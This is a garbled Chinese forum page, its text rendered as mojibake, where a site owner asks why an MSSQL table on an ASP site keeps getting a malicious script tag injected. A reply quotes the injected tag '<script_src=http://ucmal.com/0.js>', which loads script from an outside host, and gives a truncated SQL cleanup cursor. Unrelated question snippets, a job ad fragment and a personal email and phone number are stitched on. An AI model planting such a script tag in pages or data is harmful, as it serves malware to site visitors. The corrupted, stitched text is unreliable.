MSSqlÊý¾Ý¿â±»¹ÒÂí
ÏÖÓÐÒ»¸öASP+mssqlµÄÍøÕ¾£¬±»¹ÒÂíÁË£¬½«ÀïÃæÒ»¸ö±íÖеÄntext×ֶιÒÂí¹ÒÂí£¬¡°<script src=http://ľÂíµØÖ·></script>¡±,µÄ·½Ê½ÊÇ£¬²»¶ÏµØÐ޸ĸÃ×ֶεÄÖµ£¬Ö±½Ó¼ÓÔÚ×îºóµÄ£¬Ê±¼ä³¤ÁË£¬¿ÉÒÔ¿´µ½¸Ã×Ö¶ÎÖÐÓкܶà¸öÁ¬ÐøµÄ¡°<script src=http://ľÂíµØÖ·></script>¡±,Ò²¿´ÁËÍøÉϵÄһЩ½â¾ö°ì·¨£¬µ«ÊÔÁËûÓУ¬±ÈÈç˵½«ÔÀ´µÄID×Ö¶ÎÒѾ¸Ä³ÉÆäËûÃû×ÖÁË£¬±íÃûÒ²¸ÄÁË£¬µ«ÈÔÈ»ÊÇÒ»»áÓÖ±»¹ÒÉÏÁË£¬¶øÇÒ¶Ô´«ÈëµÄIDÖµÒ²½øÐÐÁËÅжϣ¬¼´½«ÔÀ´µÄ
id=request("ID")¶¼ ¸Ä³ÉÁËaaa_id=cint(request("ID")),ͬʱ½«±íÖеÄID×Ö¶ÎÃû¸Ä³ÉÁËaaa_id£¬»¹ÊǺܿ챻¹ÒÂí
Õæ²»ÖªÈçºÎ½â¾öÁË¡£
Êý¾Ý¿âÖÐÓкܶà±íÖж¼ ÓÐntextÀàÐ͵Ä×ֶΣ¬µ«ÏÖÔÚ¾ÍÖ»·¢ÏÖÓÐÒ»¸ö±íÖÐÀÏÊDZ»¹ÒÂí¡£
Õâµ¹µ×ÊÇÔõô»ØÊ£¿
Ôõô»ØÊÂÒª¿´ÄãÉæ¼°µ½Õâ¸ö±íµÄASP³ÌÐò
http://topic.csdn.net/u/20090729/14/26381958-0d6e-4b90-bc90-d275e9621f93.html
Êý¾Ý¿â±»×¢Èë¹¥»÷ ËùÓÐÎı¾ÐÍ×Ö϶ÎÊý¾Ý¶¼±»¼ÓÁË <script_src=http://ucmal.com/0.js> </script>
Ôõôɾµô£¿
SQL code:
--sql 2000½â¾ö·½·¨
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--ɾ³ý´¦Àí
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
from sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
Ïà¹ØÎÊ´ð£º
˵À´º¦Ðß¹þ£¬ºÇºÇ¡¡
×Ôѧ±à³ÌÒѾÁ½Äê¶àÁË£¬»¹²»»á²é¿´Êý¾Ý¿âÁ¬½Ó³Ø°¡£¬Çë´óÏÀÃÇ˵һÏÂÔõÑù²é¿´Ñ½£¿
±È·½Ëµ£¬ÎÒÓÃIEºÍFFºÍOperaͬʱÒÔÈý¸öÓû§Éí·Ý´ò¿ª±¾µØÍøÕ¾£¨ÍøÕ¾ÔÚIISÉÏ£¬µØÖ·Èçhttp://127.0.0.1/M ......
ÓÉÓÚ×î½üҪдһ¸ö·ÖÒ³µÄ³ÌÐò£¬ÔÚÍøÉÏÕÒÁ˸ö´æ´¢¹ý³Ì£»
create procedure add_pp_SqlPager
@sqlstr nvarchar(4000), --²éѯ×Ö·û ......
ÈçºÎÔÚMSSQLÊý¾Ýµ¼ÈëµÄʱºòÓöÉÏ´íÎóÊý¾ÝÌø¹ý?
Õâ¸ö£¿ÄÇÄ㻹ÊÇÓÃssis°É¡£Êý¾Ýµ¼Èëµ¼³öûÓпØÖÆÁ÷
ÊÇ2000µÄÊý¾Ý¿â
2000ûʲôºÃµÄ°ì·¨
ÓÐûÓÐÆäËüµÄµ¼È빤¾ßÄØ?
×Ô¼ºÔÚǰ̨д´úÂëÅжϡ£
·¹ý£¬ÓÃÇ°Ì¨Ê ......
ÏÖÔÚ×÷Á˸öϵͳ,Êý¾Ý¿âʹÓÃmysql,µ«ÊÇÐèÒª´ÓÁíÒ»¸öMSSQLÖлñµÃһЩ»ù´¡Êý¾Ý,Çë½Ì¸÷λ,ÎÒÄܲ»ÄÜͨ¹ýÒ»ÖÖ·½Ê½»ñµÃÏ໥µÄÊý¾Ý,лл!
MS SQL server µ¹ÊÇ¿ÉÒÔÔÚÕâ¼ÜWINODWS ·þÎñÆ÷Éϰ²×°MYSQLµÄODBCÇý¶¯£¬È»ºó½øÐзÃÎÊ¡ ......
ÓÐÒâÕßÇëÁªÏµyushan-33@hotmail.com / 18821146311
Microsoft SQL Administrator
Job Description:
A detail oriented Microsoft SQL Administratorwith excellent problem solving, analyti ......